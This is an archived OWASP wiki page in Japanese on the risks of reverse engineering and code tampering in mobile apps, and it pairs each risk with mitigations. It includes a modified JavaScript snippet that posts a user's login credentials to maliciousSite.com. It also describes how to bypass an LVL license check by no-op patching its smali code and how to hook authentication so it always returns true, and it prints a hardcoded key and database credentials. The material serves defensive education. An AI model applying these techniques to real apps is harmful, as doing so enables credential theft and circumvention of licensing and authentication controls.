This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Technical Risks of Reverse Engineering and Unauthorized Code Modification - Japanese Edition
リバース エンジニアリングや不正なコード変更の技術的リスク
Reverse Engineering and Code Modification Prevention Project.
English Edition
- 1 リバース エンジニアリングや不正なコード変更の技術的リスク
- 2 はじめに
- 3 コード変更/挿入の技術的リスク
- 4 リバース エンジニアリングやコード分析の技術的リスク
- 5 ビジネス リスク
- 6 まとめ
はじめに
近年のモバイル アプリケーションへの移行に伴い、攻撃者は、モバイル コンピューティング環境内でアプリケーションのプレゼンテーション層とビジネス層の多くのコードを調べて、直接変更することができるようになっている。このため、攻撃者は従来の (これまでの Web アプリケーションの場合と同じ) ビジネス上の脅威を、従来とは異なるまったく新しい方法で実現できている。
攻撃者は、リバース エンジニアリングや改ざんの攻撃手法を利用して、モバイル プラットフォームにおける次の脅威の蔓延を実現している。
- スプーフィング: 他のユーザーの認証資格情報を傍受し、その資格情報を使用して被害者の代わりに取引を行うこと。
- コード変更: 重要なビジネス ロジック、制御フロー、およびプログラム操作を変更すること。これにより、セキュリティ制御を無効にしたり回避したりして、認証、暗号化、ライセンス管理/チェック、デジタル著作権管理、または root 化/ジェイルブレイク検出をバイパスする。
- 情報漏洩: デジタル キー、証明書、資格情報、メタデータ、独自のアルゴリズム、その他のアプリケーション内部ロジックを盗んだり傍受したりすること。
- 特権の昇格: コードの不正な配布を広めたり、アプリケーションにマルウェアやエクスプロイトを挿入して再パッケージ化したりすること。
これらの固有の脅威により、Web アプリケーションのセキュリティ手法から新しいモバイル アプリケーションのセキュリティ手法への進化が促進されている。
従来のセキュリティで保護されたコーディング手法は、Web アプリケーションのセキュリティ制御を通じた攻撃の回避には適していたが、リバース エンジニアリングや改ざんの攻撃の回避にはまったく適していない。組織が常に、セキュリティで保護されたコーディング手法を使用した "完璧な" コードを作り出していても、その同じ手法を適用して、攻撃者が自分の電話内に物理的に存在するアプリケーションにリバース エンジニアリング手法を適用できないようにすることは不可能である。コンパイルされたモバイル アプリケーション コードは、人間の目にはどれだけ判読不可能であっても、簡単に入手できるさまざまなリバース エンジニアリング ツールを使用する攻撃者にとってはリバースも変更も可能である。
このドキュメントの主な目的は、ネイティブまたはハイブリッド モバイル アプリケーションとクライアント側のバイナリ レベルの攻撃 (つまり、攻撃者が侵害対象のモバイル アプリケーションのバイナリを保持している) について説明することである。以下のセクションでは、アプリケーションのリバース エンジニアリングや整合性侵害によって生じる可能性がある技術的リスクとビジネス リスクについて説明する。
リスクの概要
|
|
|
コード変更/挿入の技術的リスク
このセクションでは、信頼できない環境で機密情報資産を保存、送信、または処理するアプリケーションのために組織が考慮する必要がある主な IT 運用リスクについて説明する。緑で色付けされているリスクは、攻撃者がアプリケーションの基礎となるバイナリを変更する技術的シナリオを示している。
このセクションは、不正なコード変更に関連する攻撃ベクトルとリスク軽減策の詳細に関心のある技術者を主に対象としている。
再パッケージ化
説明
アプリを変更しようとする攻撃者は、まず、App Store の各アプリに自動的に組み込まれる Apple のコード暗号化とコード署名のテクノロジを攻略する必要がある。これらの制御をバイパスすると、攻撃者はこのアプリを変更して、第三者のサイトでダウンロード対象としてホストできるようになる。被害者は、i デバイス (ジェイルブレイクされていない) を使用して、このような第三者のサイトからこのアプリをダウンロードし、実行するものと考えられる。
Apple の初期セキュリティ制御を攻略するには、攻撃者はまず、iTunes Store から、またはエンタープライズ展開モデルを使用している企業からアプリをダウンロードする必要がある。次に、ジェイルブレイクした i デバイスでアプリを正常に起動する必要がある。これにより、不正なツールを使用してアプリの暗号化を解除し、その後の手順を実行して目的の変更を加えることができる。
技術的な説明
Apple の App Store からダウンロードした iOS アプリは、Apple によって暗号化および署名されている。このようなアプリは、その暗号化を解除して署名を検証することができるデバイスでのみ実行できる。このようなアプリを侵害するには、攻撃者はアプリのクラック版 (暗号化が解除された署名されていないバージョン) を作成し、第三者のサイトで再公開する必要がある。被害者は、正当な (ジェイルブレイクされていない) i デバイスを使用して、このような第三者のサイトからこのアプリをダウンロードし、実行するものと考えられる。
アプリの暗号化を解除するには、攻撃者は clutch などのツールを使用する。clutch を使用してアプリケーションの暗号化を解除し、そのアプリケーションを逆コンパイラによってさらに分析できる状態でローカルに保存する。このアプリケーションを実行するには、攻撃者はジェイルブレイクした環境でツールおよび対応するアプリケーションを実行する必要がある。
技術的な推奨事項
不正な再パッケージ化に関連する技術的リスクを軽減するには、以下の実施を検討すること。
- アプリのライフサイクルのできる限り早い段階でアプリケーションによって呼び出される適切なコード エントリ ポイントにセキュリティ制御を挿入する。この制御によって、デバイスがジェイルブレイクされた環境で実行されているかどうかを適切に検出する必要がある。アプリがそのような環境で実行されている場合は、アプリケーションによる対応をコードで強制的に実行する必要がある。たとえば、サーバー通知を発行したり、巧妙な方法で操作を失敗させたり、リスクの高い重要なアプリケーションの場合は強制終了させたりする。
- ジェイルブレイク/root 化検出制御で、環境に特定のファイル、ファイルのアクセス許可、実行中のプロセスなどの特定の兆候がないかを調べる必要がある。
- このリスクは、ジェイルブレイク/root 化検出遮断の自動化ツールを攻略しようとする場合と同様に扱う。該当するセクションのアドバイスに従うこと。
動作変更のあるスウィズル
説明
Objective-C では、あるメソッドから同じシグネチャの別のメソッドへの呼び出しの動的なリダイレクトがサポートされている。この便利な機能は、一般にメソッドのスウィズルと呼ばれる。この機能は通常、アプリケーションでメソッドの置換または拡張を実行する必要がある場合に使用する。
攻撃者は、この機能を利用して、Objective-C のメソッド呼び出しを攻撃者が外部ライブラリの形式で用意した悪意のあるコードにリダイレクトすることができる。Objective-C ランタイムは、元の安全なメソッドではなく、攻撃者の悪意のある形式のメソッドを呼び出す。
この機能は、Android 環境内でも、このような攻撃を容易にする Cydia Substrate ツールを介して利用できる。この環境では、このツールは C/C++ で記述された NDK ベースのアプリケーションを対象とする。
技術的な説明
Objective-C ランタイムを使用すると、アプリケーションでセレクター (メソッド名) から実装へのマッピングを変更できる。これにより、アプリケーションでメソッドにパッチを適用し、ランタイム エンジンによって元のメソッドが呼び出されるたびに追加のコードを実行することができる。これは通常、組織が元のメソッドを調べたり変更したりできない場合に行う。
攻撃者は、この機能を利用して、不正なコードをエンジンに強制的に実行させることができる。メソッドのスウィズルを利用するには、通常、攻撃者は Objective-C アプリのメタデータを調べて、機密性の高い操作を実行しているメソッドを特定する。次に、悪意のある動的ライブラリをデバイスに挿入し、機密性の高いメソッドに対して行われる API 呼び出しを傍受する。エンジンによってメソッド呼び出しが動的ライブラリにリダイレクトされる。呼び出しを傍受したら、攻撃者は元のメソッドの代わりに任意のコードを実行する。
次の例では、iOS のデリゲートによってユーザーが要求した金融取引が実行される。
// Transaction-request delegate
- (IBAction)performTransaction:(id)sender
{
if([self loginUserWithUsername:username incomingPassword:password] != true)
{
UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Invalid User"
message:@"Authentication Failure"
delegate:self
cancelButtonTitle:@"OK"
otherButtonTitles:nil];
[alert show];
return;
}
// Perform sensitive operation here
}
攻撃者は iOS Mobile Substrate を使用して loginUserWithUsername のメソッド呼び出しを傍受し、常に true を返すようにその動作を変更する。これにより、アプリケーションを侵害して、performTransaction メソッドに残っている機密性の高いコードを実行させる。
Android 環境内では、Cydia Substrate を使用して NDK C/C++ アプリをフックすることもできる。
技術的な推奨事項
メソッドのスウィズルとその後のコード変更に関連する技術的リスクを軽減するには、以下の実施を検討すること。
- アプリケーションでスウィズルを意図的に実行している場合、この特定のメソッドはアプリケーションへの信頼できるエントリ ポイントとなるため、攻撃者はこの設計上の決定を利用してこのメソッドをスウィズルする。この設計上の特性の再設計および排除を必ず検討すること。
- このリスクは、スウィズルを監視する場合と同じ戦略を使用して軽減する。該当するリスク カテゴリの技術的な推奨事項に従うこと。
セキュリティ制御のバイパス
説明
多くのアプリに、機密性の高い操作の実行を保護する条件判断の制御フローが組み込まれている。保護されていない場合、このようなロジックは、不正なコード変更によって回避される可能性がある。
技術的な説明
セキュリティ制御は、ソフトウェア内でビジネス ポリシーを適用するメソッドまたはコードである。セキュリティ制御の例として次のものが挙げられる。
- 認証
- 承認
- データ検証
- セッション管理
- 例外処理
- ログと監査
- コード署名
- ライセンス
セキュリティ制御に対する攻撃はごく一般的である。たとえば、攻撃者は制御フローを変更して、認証チェックやライセンス要件をバイパスする。また、アプリに埋め込まれている禁止された機能を有効にすることも多い。
Google Play アプリでは、Google の LVL フレームワークを利用して、ユーザーがアプリの料金を正しく支払っていることを確認する。LVL では、LicenseChecker クラスを使用して、アプリの代わりにライセンスの状態を確認する。このクラスによって、ライセンス メカニズム (Google のサーバーとのネットワーク通信を含む) の複雑さが排除され、認識されなくなる。攻撃者は、LicenseChecker.checkAccess メソッド内で宣言されている条件判断の命令を 1 つ変更するだけで (次に示す命令をノー オペレーションにして)、LVL ロジックを攻略できる。
.method public delcared-synchronized checkAcces(Lcom/android/vending/licensing/LicenseCheckerCallback;)Validation
.locals 9
.parameter "callback"
.prologue
.line 133
monitor-enter p0
:try_start 0
iget-object v1, p0, Lcom/android/vending/licensing/LicenseChecker;->mPolicy:Lcom/android/vending/licensing/Policy;
invoke-interface {v1}, Lcom/android/vending/licensing/Policy;->allowAccess()Z
move-result v1
if-eqz v1, :cond_0
line 134
const-string v1, "LicenseChecker""
セキュリティ制御として動作するメソッドでブール値を返すもの (認証、承認、データ検証、ライセンス チェックなど) は、変更またはバイパスの対象として攻撃者から特に狙われる。
技術的な推奨事項
攻撃者が制御フローを変更し、アプリケーションに関するセキュリティ制御を無効にするリスクを最小限に抑えるには、以下の実施を検討すること。
- 重要な命令分岐コードを含むコードのチェックサムを実行する。このコードのチェックサム検証は、アプリケーションでこのコードが実行される直前に行う必要がある。
- 元のチェックサムをチェックする追加のチェックサムを実行し、攻撃者が元のチェックサムを変更できないことを確認する。
- コードの追加のチェックサム検証やその他のチェックサムは、攻撃者が予測できない冗長性のある検証を確保するために、アプリケーションのその他のランダムな部分で行う必要がある。
- チェックサム コードに、攻撃者が簡単に特定できるバイナリ署名を含めないようにする。そうしないと、攻撃者はすべてのチェックサム インスタンスを特定してバイパスすることができるようになる。
ジェイルブレイク/root 化検出遮断の自動化
説明
組織は、さまざまな理由により、コードがジェイルブレイクされた環境で実行されていることの把握を必要とする場合がある。たとえば、デバイスのセキュリティ環境の不確実性が増しているため、そのデバイスで実行される金融取引を引き受けないことにする場合がある。攻撃者は、ジェイルブレイク検出コードのロジックを変更して、このようなデバイスでアプリケーションを強制的に実行させることができる。
ジェイルブレイク検出コードは、攻撃者がコードをバイパスまたは侵害するために利用できる手法が無数に進化しているため、正しく実装するのが難しいと広く知られている。攻撃者はコードを成功裏に侵害し、悪意のある環境で実行させることができる。
技術的な説明
モバイル バンキング アプリ、ピアツーピア支払アプリなど、セキュリティが重視される iOS アプリの多くを実行するには、セキュリティで保護された環境が必要となる。それらのアプリには、ホストに問題がないかどうかを検出する機能が組み込まれている。ジェイルブレイクされた環境ではセキュリティの有効性に懸念があるため、アプリが実行されないようにすることができる。多くの場合、アプリに実装されているジェイルブレイク検出メカニズムは保護されておらず、クリア テキストで開示されているため、簡単に攻略できる。
iOS デバイスがジェイルブレイクされているかどうかを検出する方法は数多くある。以下に例をいくつか示す。
- Cydia の存在の検出: Cydia は、ジェイルブレイクされたデバイスでソフトウェア パッケージを検出してインストールする iOS アプリである。このアプリがデバイスに存在する場合、そのデバイスはジェイルブレイクされている。検出コードのサンプルを次に示す。
NSString *path = @"/Applications/Cydia.app";
if ([[NSFileManager defaultManager] fileExistsAtPath:path]) {
// jailbreak detected
}
- /private/var/stash の存在の検出: /private/var/stash は、ジェイルブレイクされたデバイスに作成されるフォルダーである。その存在を確認する方法の 1 つに、インライン アセンブリ コードを使用してシステム呼び出しを実行する方法がある。以下において、0xBC は stat() のシステム呼び出し番号で、レジスタ R0 は /private/var/stash 文字列を指す。
__asm__(
"mov R12, #0xBC\n\t"
"svc #0x80"
);
- サンドボックス化されていない動作の検出: ジェイルブレイクのポイントはアプリケーションのサンドボックスから脱獄することであるため、サンドボックスによって禁止されている操作を実行できるということは、ジェイルブレイクを意味している。たとえば、サンドボックス化されたプロセスが子プロセスをフォークすることは禁止されている。fork() を呼び出して返されたコードを確認することで、アプリがジェイルブレイクされたデバイスで実行されているかどうかを検出できる。
上記のアルゴリズムは、ジェイルブレイクされた環境を正しく検出するために必要なアルゴリズムのほんの一部である。攻撃者は、リバース エンジニアリングや整合性侵害のさまざまな手法を使用して、特定の各アルゴリズム手法をバイパスすることができる。ジェイルブレイク検出メカニズムに対する攻撃を自動化するために、攻撃者は xCon などの自動化ツールを利用する。xCon は、多くの iOS アプリに実装されているジェイルブレイク検出チェックを回避できるクローズド ソース ツールである。このツールは、多くのアプリに対する攻撃に成功している。
xCon などのツールで自動化されたジェイルブレイク検出に対する攻撃を効果的に防ぐには、ジェイルブレイクされた環境を検出する正確で完全なアルゴリズム セットが組み込まれた検出制御を構築する必要がある。アルゴリズム セットやその他の模索すべき点は、きわめて広範囲に及ぶ。その後、これらすべてのアルゴリズムを、リバース エンジニアリングや整合性侵害を防止する適切な手法と組み合わせて使用する必要がある。
xCon では、適切なアルゴリズムとリバース エンジニアリングや整合性侵害の軽減策の組み合わせで構成される多層保護の手法によってセキュリティが確保されているアプリは攻略できない。
技術的な推奨事項
完全でバランスの取れたジェイルブレイク検出ルーチンを実装していないというリスクを軽減するには、以下の実施を検討すること。
- メソッドのスウィズルを防止するリスク軽減策に従って、攻撃者が既に実装されているジェイルブレイク検出制御を弱体化できないようにする。
- 分岐エラーを防止するリスク軽減策に従って、攻撃者がジェイルブレイク検出に関連する制御フローに不正な変更を追加できないようにする。
- xCon などのさまざまなジェイルブレイク コミュニティを通じて開示されている適切なジェイルブレイク検出アルゴリズムをすべて実装する。
プレゼンテーション層の変更
説明
ハイブリッド アプリの場合、アプリケーションには、一般に Java または Objective-C で記述される外殻が含まれる。内殻には、一般に HTML、JavaScript、および CSS ファイルとして開示されるプレゼンテーション ファイルのセットが含まれる。攻撃者は、これらのプレゼンテーション層ファイルを変更して、JavaScript の変更または追加によって不正な操作が実行されるようにする場合がある。
技術的な説明
攻撃者は、モバイル コンピューティング環境内で外部コードを実行するために、ハイブリッド アプリ内の JavaScript ファイルを変更する場合がある。このようなシナリオでは、攻撃者はローカルのドキュメント オブジェクト モデル (DOM) へのフル アクセスを持ち、DOM から入手できる任意の情報を攻撃者のサイトに無許可で渡すことができる。
次のコード変更では、攻撃者は、モバイル アプリケーションの環境内で実行されるローカルの JavaScript ファイルを変更している。
$.post("http://maliciousSite.com",
{ username:loginUsername, password:loginPassword },
function(data) {
alert("Response:" + data);
}
);
このコード変更では、攻撃者はアプリケーションのプレゼンテーション層を変更して、被害者のユーザー名とパスワードが攻撃者の第三者のサイト maliciousSite.com に送信されるようにしている。その他の変更案には、セッション Cookie の送信、リモート制御、不正なコード実行、特権の昇格などがある。
技術的な推奨事項
攻撃者がモバイル アプリケーション内で任意の JavaScript を実行するリスクを軽減するには、以下の実施を検討すること。
- アプリケーションが依存している外部のプレゼンテーション層ファイルのチェックサムを実行する。このチェックサムでは、構築時のファイルのチェックサムと実行時に検出される値を比較する必要がある。チェックサムが一致しない場合は、攻撃に対して適切に対処する。
- アプリケーションの関連性のない部分で追加のランダムなチェックサムを実行し、攻撃者が確かなクラックを確立しようとする企てを阻止する。
- 元のチェックサムに対して追加のチェックサムを実行し、攻撃者が元のチェックサムを改ざんできないことを確認する。
- チェックサム コードに、攻撃者が簡単に特定できる一意のバイナリ署名を含めないようにする。このようなシナリオでは、攻撃者はバイナリ内のすべてのチェックサム インスタンスをすぐに特定し、無効にすることができる。
暗号化キーの置換
説明
アプリケーションでは、暗号化キーを使用して、ローカル ストアまたはメモリに存在する機密データを暗号化したり暗号化を解除したりする。攻撃者は、キーを置き換えてアプリケーションで使用される暗号化プロセスをハイジャックしようとする場合がある。
技術的な説明
多くのアプリケーションで、暗号化キーを使用してデータの暗号化操作が実行されている。これらの操作とキーは、ユーザーには非公開となっている。ただし、攻撃者は、使用されている特定のキーを確認するために、アプリケーションのデータフロー分析を実行する場合がある。 次のコード例では、組織は、Objective-C で実装されているデータ セキュリティ制御内で攻撃者が見つけて置き換えることができるハードコードされたキーを使用している。
CFDataRef cfDataCryprographyKey = NULL;
/* 128-bit AES key. */
const uint8_t rawcryptokeyarr[16] = {63, 17, 27, 99, 185, 231, 1, 191,
217, 74, 141, 16, 12, 99, 253, 41};
void *rawcryptokey = &rawcryptokeyarr;
size_t keylen = sizeof(rawcryptokey)
cfDataCryprographyKey = CFDataCreate(kCFAllocatorDefault, rawcryptokey, keylen);
この場合、攻撃者はバイナリ文字列 {63, 17, 27…} を、暗号化と暗号化解除のプロセスを制御できるカスタム バイナリ キーに置き換える。これにより、関連データを盗んだり変更したりできる。
技術的な推奨事項
攻撃者が暗号化キーを特定の値に置き換えてからコンテンツの暗号化解除/変更を行うリスクを軽減するには、以下の実施を検討すること。
- アプリケーション内では常に動的なキーを使用する。そうしないと、アプリケーションのコンパイラによって、ハードコードされたキーが最終的なバイナリ内に raw 形式で保存される。攻撃者は、関連するメソッド呼び出しを調べることでこのキーを特定できる。
- ハードコードされたキーを使用する必要がある場合は、攻撃者がバイナリ内のキーを置き換えるのを防ぐために、次のアルゴリズムを実装する。
1. ソース コードで宣言されている静的なキーを破損させる。攻撃者が元のキーを分析して傍受することを防ぐために、ディスク上にある間にこのキーを破損させておく必要がある。
2. 次に、このキーを必要とするコードでキーが使用される直前に、アプリケーションでこのキーを修復する。
3. キーを使用する直前に、アプリケーションでキーの値のチェックサムを実行し、破損していないキーがコードの構築時に宣言された値と一致することを確認する。
4. 最後に、アプリケーションでその特定の呼び出しに対してキーを使用した直後に、メモリ内のキーを再度破損させる。
リバース エンジニアリングやコード分析の技術的リスク
このセクションでは、アプリケーションがどのように構築されているかを攻撃者が特定できる場合に生じる技術的リスクについて説明する。次の図において緑で色付けされているリスクについて、このセクションで詳しく説明する。
このセクションは、ソフトウェアの不正なリバース エンジニアリングに関連する攻撃ベクトルとリスク軽減策の詳細に関心のある技術者を主に対象としている。
メソッド シグネチャの公開
説明
Objective-C や Java などの中間言語を使用して構築されたコードは、リバース エンジニアリングに対して非常に脆弱である。これらの言語で記述され、コンパイルされたアプリケーションには、ソース レベルのクラス インターフェイスやその他の豊富なメタデータが含まれており、これらのデータは関連するコンパイラによって最終的なバイナリ内に自動的に保存される。
攻撃者は、簡単に入手できるツールを使用してこのメタデータを抽出し、プログラムの機密性の高い部分に関する大量の情報を入手することができる。攻撃者はこの情報をそのまま役立てたり、不正なコード変更を実行するための足がかりとして使用したりする可能性がある。
技術的な説明
Objective-C プログラムと Java プログラムには、プログラム自体に関する豊富な情報が含まれている。どちらの言語コンパイラも、クラス インターフェイスやクラス間の関係の定義をバイナリに埋め込む。このような情報は、攻撃者がアプリを攻撃する際に最初に入手しようとするものの 1 つに挙げられる。
次の例では、攻撃者が class-dump-z ツールを使用して、バイナリからクラス インターフェイスを抽出している。このツールはリバース エンジニアリング専用に構築されたものである。以下は、実際の iOS バンキング アプリから抽出されたクラス インターフェイスである。
@interface CardIODevice :XXUnknownSuperclass {
+(int)jailbreakStatus;
+(id)getSysteInfoByName:(char*)name;
+(id)platformName;
+(BOOL)is3GS;
+(BOOL)hasVideoCamera;
+(id)generateUniqueIdentifier;
+(id)savedUniqueIdentifier;
+(id)hashedUniqueIdentifier;
+(float)imageScaleForCurrentDevice;
+(BOOL)deviceUses2X;
+(id)deviceAnalyticsDictionary;
+(id)hashedMacAddress;
+(id)macaddress;
+(id)jailbreakStatusAsString;
@end
このインターフェイスは、アプリケーションの基礎となるアーキテクチャと設計を記述している。この情報は、攻撃者がアプリケーション内の有益な標的を特定するうえで非常に役立つ。このインターフェイスでは、攻撃者はすぐに、jailbreakStatus メソッドを変更対象として特に魅力的な標的と見なす。このメソッドを無効にできたら、その後の攻撃が可能となる特に安全性の低いプラットフォームでアプリを強制的に実行させる。
技術的な推奨事項
メソッドのインターフェイスと関連メタデータの公開に関連する技術的リスクを軽減するには、以下の実施を検討すること。
- メソッド スクランブリングを導入して、バイナリ レベルでメソッドを他のメソッドに再割り当てする。メソッド スクランブリング手法は、パラメーターの数とパラメーターの型が同じメソッドにのみ適用できる。この手法を使用すると、攻撃者は、変更または傍受の対象として誤った標的に注意を払うことになる。同時に、元のソース コードを一切変更せずに済む。
- 実行時に運用ビルド内に公開する必要がない無関係なメソッドをシンボル テーブルから削除する。
- 残りの公開メソッドの名前を、基礎となる機能の意味を反映しない値に変更する。攻撃者は、変更またはさらなる分析の対象として魅力的な標的を絞り込むことができなくなる。
API の監視
説明
Objective-C と Java では、あるメソッドから同じシグネチャの別のメソッドへの呼び出しの動的なリダイレクトがサポートされている。この便利な機能は、一般にメソッドのスウィズルと呼ばれる。この機能は通常、アプリケーションでコードのメソッドの置換または拡張を実行する必要がある組織が使用する。このようなシナリオでは、組織は元のメソッドのソース コードを保持していない場合がある。 攻撃者は、メソッドのスウィズルを利用して、Objective-C のメソッド呼び出しの実行順序を監視することができる。これにより、アプリケーションのバイナリの内容を手動で調べることなく制御フローを把握できる。
この機能は、Java 環境内でも、このような攻撃を容易にする Cydia Substrate ツールを介して利用できる。この環境では、このツールは C/C++ で記述された NDK ベースのアプリケーションを対象とする。
技術的な説明
Objective-C ランタイムを使用すると、アプリケーションでセレクター (メソッド名) から実装へのマッピングを変更できる。これにより、アプリケーションでメソッドにパッチを適用し、ランタイム エンジンによって元のメソッドが呼び出されるたびに追加のメソッドを実行することができる。これは通常、組織が元のメソッドを調べたり変更したりできない場合に行う。
攻撃者は、この機能を利用して、アプリケーションによって呼び出されるメソッド呼び出しのログを作成することができる。これにより、IDA Pro などのツールを使用してバイナリの暗号化解除と分析を行うことなく、アプリケーションの制御フローを把握できる。
技術的な推奨事項
メソッドのスウィズルを利用した制御フロー分析に関連する技術的リスクを軽減するには、以下の実施を検討すること。
- 特に機密性の高いメソッドをネイティブの C/C++ に変換する。このようなコード スニペットは、メソッドのスウィズル攻撃を受けにくい。
- このようなメソッドで Objective-C を使用する必要がある場合は、このメソッドを、公開メタデータ内に隠す必要がある機密性の高いメソッドとして扱う。スウィズルは阻止できないが、攻撃者がこのメソッドを見つける可能性は低くなる。そのリスク カテゴリの推奨事項に従うこと。
- システム ライブラリに対する直接メソッド呼び出しは行わないようにする。代わりに、インライン アセンブリ コードを使用して対応するシステム呼び出しを実行する。これにより、攻撃者がこの手法を使用してメソッドまたはパラメーターを直接傍受することを阻止できる。
データ シンボルの公開
説明
Objective-C や Java などの中間言語を使用して構築されたコードは、リバース エンジニアリングに対して非常に脆弱である。これらの言語で記述され、コンパイルされたアプリケーションには、ソース レベルのメタデータが含まれており、このデータは最終的なバイナリ内に保存される。攻撃者は、簡単に入手できるツールを使用してこのメタデータを抽出し、機密性の高い静的フィールドやその他のグローバル変数を入手することができる。通常、攻撃者は実行時にこのようなフィールドの値を変更し、アプリケーションの動作を変えようとする。
技術的な説明
ネイティブ アプリには、データの場所と意味を示すプログラム シンボルが含まれている。このようなシンボルは、リバース エンジニアリングに役立つ情報を提供する。ハッカーは、IDA Pro などのツールを使用してシンボルを簡単に抽出し、関連データを分析することができる。 このようなシンボルで明らかにできる情報量の例として、実際の iOS バンキング アプリで検出されたシンボルのリストの一部を以下に示す (このリストは、シンボル ダンプのコマンド ライン ツールである nm によって生成されたものである)。
001ffccc S _creditCardNumber
001ffe04 S _creditCardType
001ffc7c S _creditCardCVV
001ffd5c S _creditCardDescription
001ffc8c S _creditCardExpiryMonth
001ffcac S _creditCardExpiryYear
…
002b451c S _CardIOCardScanningDidBecomeAvailable
002b4520 S _CardIOCardScanningDidBecomeUnavailable
この例では、アプリケーションで機密性の高いデータ フィールド (認証とクレジット カードの情報に関するフィールド) が宣言されており、実行時にフィールドに含まれる内容が正確に記述されている。シンボルの名前と場所によって、アプリケーションの内部資産が明らかになっている。
gcc や GNU の binutils などのコンパイラ ツールチェーンでは、このようなシンボルを含むバイナリが既定で生成される。gcc では、エクスポートされてはならないローカル シンボルを含む無関係なエクスポート テーブル シンボルが生成される。多くの場合、アプリケーションの実行時にこのようなシンボルは使用されない。組織は、コンパイラの既定の設定が原因で、このようなシンボルを含むアプリケーションをリリースしてしまう。
技術的な推奨事項
データ シンボルの公開に関連するリスクを軽減するには、以下の実施を検討すること。
- コンパイラの設定とソース コードを変更して、アプリケーションのコンパイラによって運用リリースのコード内の無関係なデータ シンボルが公開されないようにする。
- 保護対象のデータ シンボルの性質が静的である場合は、ディスク上およびメモリ内にある間に適切なタイミングでフィールドの内容を暗号化する。これにより、攻撃者が実行時にフィールドの内容を変更することを阻止できる。
- 保護対象のデータ シンボルの性質が静的でない場合は、実行時にアプリケーションのメモリ内にあるフィールドの値を難読化し、データの値を実行時に変更できないようにする。
文字列テーブルの公開
説明
コンパイラは、ハードコードされた文字列をクリア テキストで、アプリケーションの最終的なバイナリ イメージに保存する。通常、このような文字列は、アプリケーションでパラメーターとして使用される。攻撃者は、このような文字列の内容を調べて、機密性の高いアルゴリズムの特定、そのアルゴリズムの性質の特定、ハードコードされたパスワードの検出、内部データベースの設計の把握など、さまざまな目的を達成することができる。
文字列テーブルの公開は、メソッドやクラス フィールドなどの他の形式の公開メタデータと同様の技術的リスクをもたらす。ただし、テーブルでは通常、コードまたはデータ シンボルと比べてはるかに多くの機密情報が明らかになるため、この形式の情報収集攻撃は攻撃者にとって特に魅力的である。文字列テーブルは、情報収集攻撃の中でも簡単に成果が出るものである。
技術的な説明
アプリケーションのバイナリには、ソース コードから引き継がれたクリア テキストの文字列リテラルが含まれている。攻撃者は、strings などのツールを使用してこのような文字列を簡単に抽出し、その後の攻撃に役立つ情報をすぐに検索することができる。
たとえば、認証や承認に関連するコードを探している場合は、authenticate (認証)、authorize (承認)、password (パスワード)、token (トークン)、access (アクセス) などの単語のパターンと一致するメソッド名を検索できる。目的の文字列が見つかったら、その文字列が使われているコードを突き止めて、そのコードでさらなる分析を行うことができる。
以下は、実際の iOS バンキング アプリケーションのバイナリで検出された文字列のダンプの一部である (このリストは、任意のファイルから印刷可能な文字列を抽出するコマンド ライン ツールである strings によって生成されたものである)。
datastorage.db
create table if not exists datacache (id text primary key, age text, data blob)
select id from datacache where id=?
replace into datacache (id, age, data) VALUES(?, strftime('%s', 'now'), ?)
select data from datacache where id = ?
Server=analyticsServer;Database=userProfiles;Uid=incomingApp;Pwd=kl23k2ls;
%@/mobile/accountbalance?session_token=%@
T@"NSArray",&,N,VerrorList
totalBalance
pendingBalance
aggregateBalance
known_app_paths
cydia
/Applications/Cydia.app
jailbroken
jailed
jailbreak_status
ios_jailbreak_status
このダンプは、アプリケーションによってユーザー情報がローカル データベース内に保存されていることを示している。また、アプリケーションは、ユーザー情報を収集する MySQL データベースに接続していると思われる。このために、アプリケーションは、ユーザー名 incomingApp とパスワード kl23k2ls を使用してユーザー プロファイル データベースに接続している。この新しい情報を受けて、攻撃者はインフラストラクチャ攻撃を実行することに決めて、プロファイル データベースに接続し、アプリのユーザーに関するプライバシー関連のデータを抽出すると考えられる。
/applications/Cydia.app 文字列が存在するため、このファイルを検索することでアプリがジェイルブレイクされた環境で実行されているかどうかを検出しようとしていることがはっきりとわかる。攻撃者はさらなる分析を行い、この文字列に関連するすべてのジェイルブレイク検出アルゴリズムを把握することができる。
攻撃者は、逆アセンブラーまたは逆コンパイラを使用して、このような機密文字列を使用しているコードを分析する。分析によって、侵害を図るコードが絞り込まれる (たとえば、ジェイルブレイク検出メカニズムを攻撃する場合は、/applications/Cydia.app 文字列を使用しているコードが攻撃対象として適した候補になる)。
技術的な推奨事項
文字列の公開に関連するリスクを軽減するには、以下のいずれかの実施を検討すること。
- 構築時にアプリケーションのバイナリにあるクリア テキストの文字列を暗号化する。それ以降、攻撃者は文字列の内容を調べることができなくなる。実行時に、アプリケーションで暗号化された各文字列を使用する直前に、その文字列の暗号化を解除する。使用した直後に、文字列を再暗号化する。
- 構築時に、アプリケーションのバイナリ内の一部またはすべてのバイトをランダムなバイトまたは無関係なバイトで破損させて、機密文字列を偽装させる。実行時に、使用する直前に破損した文字列を修復する。使用した直後に、メモリ内の文字列を再度破損させる。
この破損/修復のアプローチは 1 つ目の推奨事項に似ている。ただし、破損/修復のアプローチには、攻撃者が加えた文字列の変更を消去できるという利点もある。たとえば、攻撃者が偽装バージョンの </i>/applications/Cydia.app</i> を /does_not_exist に変更した場合でも、実行時の修復アクションによって攻撃による変更が削除され、文字列が元どおりに復元される。
暗号化キーの傍受
説明
アプリケーションでは、暗号化キーを使用して、機密データを暗号化したり暗号化を解除したりする。攻撃者は、アプリケーションのプロセス内に存在するローカル リポジトリまたはメモリ ストリームの機密データを暗号化解除してコピーするために、関連するキーを盗むことに特に関心を持っていると考えられる。
技術的な説明
多くのアプリケーションで、暗号化キーを使用してデータの暗号化操作が実行されている。これらの操作とキーは、ユーザーには非公開となっている。ただし、攻撃者は、静的または動的なバイナリ分析によってこのキーを見つけることができる。
システム ライブラリによって提供される暗号化操作を使用するアプリケーションがあるとする。このアプリケーションでは、データの暗号化を解除するために、このライブラリに適切なキーを渡す必要がある。実行時に、攻撃者がシステム ライブラリ インターフェイスを監視し、暗号化解除メソッドの呼び出しを傍受しようとする可能性がある。アプリケーションがこのメソッドにパラメーターとして適切なキーを渡すと、攻撃者はこのキーを入手できる。
